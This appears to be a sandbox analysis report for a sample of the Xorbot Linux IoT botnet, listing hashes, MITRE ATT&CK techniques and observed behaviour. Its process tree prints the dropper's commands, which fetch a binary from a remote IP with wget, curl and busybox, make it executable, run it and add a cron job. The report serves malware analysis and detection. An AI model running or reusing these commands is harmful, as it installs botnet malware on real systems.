xorbot | 32ddd9acfcf02bba66418510ea50f484e55774995e0fda1ec17661cf50fb7a5e

Analysis

max time kernel
149s
max time network
131s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
01/12/2024, 06:27

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General

Target

bins.sh
Size

10KB
MD5

3ec05170856171325b0751f5ea6d0ce2
SHA1

1d4812ade6ba446cda12ccab01c5cf5f56d59f0d
SHA256

32ddd9acfcf02bba66418510ea50f484e55774995e0fda1ec17661cf50fb7a5e
SHA512

8581e8589806b577e6557e6ac83d77de355039ff8fc99fb11c60d9eccb8af27ccb6b5fe89f690a87d8d7ca0bcc67788d024594da0e8c8d008b9e3a7033c34b2f
SSDEEP

96:8diayTnIZxJKu8fwckvve4VwaUUQ2c8XUQ2kgGdiayTnfZxfwckvvo48OPEZxJKU:86fwckvve4OaUUQUUQ8wckvvN8

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1513	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ	1514	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ

Renames itself 1 IoCs

pid	Process
1515	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.lT9I1F	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/27/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1244/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1534/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1561/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1631/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/472/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1158/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1168/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1567/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1589/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1594/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1621/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/7/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/510/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1302/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1592/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1599/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1612/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1617/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/6/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/171/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1548/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1553/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1554/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1597/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1150/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1545/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/411/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1156/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1598/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1604/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/716/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1075/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/23/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/35/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/173/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1522/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1630/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/3/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/596/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1245/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1525/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1531/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1587/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1627/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/485/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/546/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/946/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1016/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1496/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1595/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/176/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/449/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/8/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1524/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1571/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1609/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/17/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1526/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1527/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1546/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/1605/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/22/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
File opened for reading	/proc/32/cmdline	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ	wget
File opened for modification	/tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ	curl
File opened for modification	/tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1498
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1499
- /usr/bin/wget
  wget http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  - Writes file to tmp directory
  PID:1500
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  - Writes file to tmp directory
  PID:1504
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/chmod
  chmod 777 znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  ./znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1514
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1516
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1517
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1518
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1519
- /bin/rm
  rm znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  PID:1521
- /usr/bin/wget
  wget http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
  2⤵
  PID:1524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.lT9I1F

Filesize
210B

MD5
0227402954ed0a98d78f7adcba8f1cc2

SHA1
caa4636abcd302ca54c533fb7b9953dc501c3619

SHA256
0543a672757b3fc8b2174ea4333e64b7385d6a2b6139da7a5b99f2f70a0b7899

SHA512
1c293c41a8bee5ddbc16311985c011e732963c3d6a3a444a7784df42b120e4ad72653f1e8c385edd0606b060cdfc99967910e7bb0f1d97f7481ac96e63b2294f

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads